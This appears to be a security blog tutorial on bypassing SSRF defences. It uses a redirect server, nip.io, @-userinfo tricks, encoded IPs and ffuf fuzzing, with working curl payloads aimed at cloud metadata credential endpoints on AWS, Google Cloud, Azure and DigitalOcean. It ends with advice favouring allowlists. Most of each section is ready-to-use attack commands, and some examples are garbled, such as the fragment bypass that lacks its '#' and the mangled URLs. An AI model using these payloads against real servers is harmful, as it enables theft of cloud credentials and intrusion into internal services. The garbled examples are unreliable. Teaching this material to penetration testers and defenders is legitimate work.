Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) remains one of the most critical and versatile web vulnerabilities, allowing attackers to induce a server to make malicious requests to internal or third-party systems. As cloud and microservice architectures become ubiquitous, the attack surface for SSRF has expanded dramatically, making the ability to bypass common defenses an essential skill for any security professional.
Learning Objectives:
- Understand the core mechanics of SSRF and why traditional blocklists fail.
- Master advanced bypass techniques involving redirects, DNS tricks, and URL parsing inconsistencies.
- Implement practical commands and tools to test for and exploit SSRF vulnerabilities effectively.
You Should Know:
1. The 303 Redirect Bypass
Many applications follow redirects without validating the final destination, providing a perfect vector to bypass domain blocklists. A 303 redirect specifically changes a POST request to a GET, which can help evade additional checks.
Step-by-step guide:
First, set up a simple HTTP server with a redirect script. Using Python Flask, create an app that returns a 303 redirect to a sensitive internal endpoint like the AWS metadata service.
redirect_server.py
from flask import Flask, redirect
app = Flask(<strong>name</strong>)
@app.route('/redirect')
def ssrf_redirect():
Redirect to AWS metadata endpoint
return redirect('http://169.254.169.254/latest/meta-data/', code=303)
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=80)
Run the server: sudo python3 redirect_server.py. Now, when testing the SSRF endpoint, provide the URL `http://your-attacker-server.com/redirect`. The target application will make the initial request to your server, receive the 303 redirect, and then blindly follow it to the internal IP.
2. DNS Canonicalization Bypass with nip.io
Blocklists often check for literal strings like “127.0.0.1” or “localhost”. Services like nip.io allow you to create DNS records that resolve to any IP address, effectively disguising a blocked address.
Step-by-step guide:
Craft a URL using a nip.io domain that points to the localhost or a cloud metadata IP. For example, `http://127.0.0.1.nip.io` resolves to 127.0.0.1. Use `curl` to test the resolution and then inject it into the vulnerable parameter.
First, verify the DNS resolution nslookup 127.0.0.1.nip.io Server: 127.0.0.53 Address: 127.0.0.5353 Non-authoritative answer: Name: 127.0.0.1.nip.io Address: 127.0.0.1 Use curl to test the SSRF endpoint curl -i "http://vulnerable-website.com/export?url=http://127.0.0.1.nip.io/admin"
3. URL Authority混淆 Using the @ Symbol
Many parsers treat the text after an `@` symbol as userinfo within the URL authority. This can be used to place a blocked hostname after a whitelisted one, tricking the parser while the request is sent to the host after the @.
Step-by-step guide:
Craft a URL where a whitelisted domain (e.g., google.com) is followed by an `@` symbol and the real, internal target.
The vulnerable application might whitelist "google.com" This URL will actually make a request to 127.0.0.1 http://[email protected]/admin/deleteAll Test the injection with curl curl -i "http://vulnerable-website.com/fetch?url=http://[email protected]/admin"
4. Fragment () Bypass for Appended Data
If the application appends paths or parameters to your provided URL, the fragment identifier (“) can be used to effectively comment out the appended data. The fragment is not sent to the server as part of the HTTP request.
Step-by-step guide:
Suppose the vulnerable endpoint is `http://vulnerable-site.com/proxy?url=user-supplied-url.com`, and the backend appends `/status` to every request. You can use a fragment to ensure your intended URL is requested.
Without the bypass, the request becomes: http://169.254.169.254/status With the fragment, the request becomes: http://169.254.169.254/ curl -G --data-urlencode "url=http://169.254.169.254/" "http://vulnerable-site.com/proxy"
5. IP Encoding and Octal/Hex Bypasses
Blocklists might filter dotted-decimal IPv4 addresses but miss alternative encodings. IP addresses can be represented in decimal, hexadecimal, or octal formats, which many standard libraries will still resolve correctly.
Step-by-step guide:
Convert a blocked IP like `127.0.0.1` to its decimal equivalent (2130706433) or its dotted-hecimal (0x7f.0x00.0x00.0x01) format.
Convert 127.0.0.1 to decimal (1256^3 + 0256^2 + 0256^1 + 1) python3 -c "print( (127<<24) + (0<<16) + (0<<8) + 1 )" Output: 2130706433 Test the SSRF using the decimal IP curl "http://vulnerable-app.com/import?url=http://2130706433/admin" Test using dotted-hex curl "http://vulnerable-app.com/import?url=http://0x7f.0x00.0x00.0x01/admin"
6. Cloud Metadata Service Targeting
The real prize in SSRF is often accessing cloud instance metadata, which can contain credentials and configuration secrets. Each major cloud provider has a specific IP address for this service.
Step-by-step guide:
Craft requests to target the metadata endpoints for AWS, Google Cloud, Azure, and DigitalOcean.
AWS IMDSv1 (for older instances) curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Google Cloud curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/ Azure curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2021-02-01 DigitalOcean curl http://169.254.169.254/metadata/v1.json
7. Tool-Based Reconnaissance with ffuf
When testing for SSRF, automation is key. Use a fuzzing tool like `ffuf` to test a wide range of bypass techniques and internal endpoints quickly.
Step-by-step guide:
Create a wordlist (ssrf-bypasses.txt) containing various encoded IPs and hostnames. Use `ffuf` to fuzz a vulnerable parameter, filtering responses that indicate success (e.g., a 200 OK or a specific response length).
Sample ssrf-bypasses.txt content 127.0.0.1 localhost 2130706433 0x7f.0x00.0x00.0x01 127.0.0.1.nip.io [email protected] Fuzz the parameter using ffuf ffuf -w ssrf-bypasses.txt -u "http://vulnerable-site.com/proxy?url=http://FUZZ/admin" -mc 200 -fs 0
What Undercode Say:
– Blocklists Are Fundamentally Flawed: The core lesson from these techniques is that relying on a denylist of domains or IPs is a brittle and ineffective defense. The number of ways to represent and obfuscate a target is virtually infinite.
– Context is King: The success of a bypass is highly dependent on the specific target application, its architecture, and the libraries it uses for HTTP clients and URL parsing. Thorough reconnaissance is non-negotiable.
– The Shift to Allowlists: The only robust defense against SSRF is a strict allowlist of permitted domains and protocols, combined with a network architecture that segments internal services and uses firewall rules to deny unauthorized egress traffic from web servers.
Prediction:
SSRF will continue to be a premier vulnerability class for cloud compromise, especially as attackers automate these bypass techniques into their toolsets. We will see a rise in SSRF chains leading to full cloud account takeovers and cross-tenant attacks in shared environments. The industry’s pivot towards zero-trust networking and mandatory allowlisting for outbound requests from applications will become standard practice within the next two years, moving from a best practice to a core compliance requirement.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sayaanalam When – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
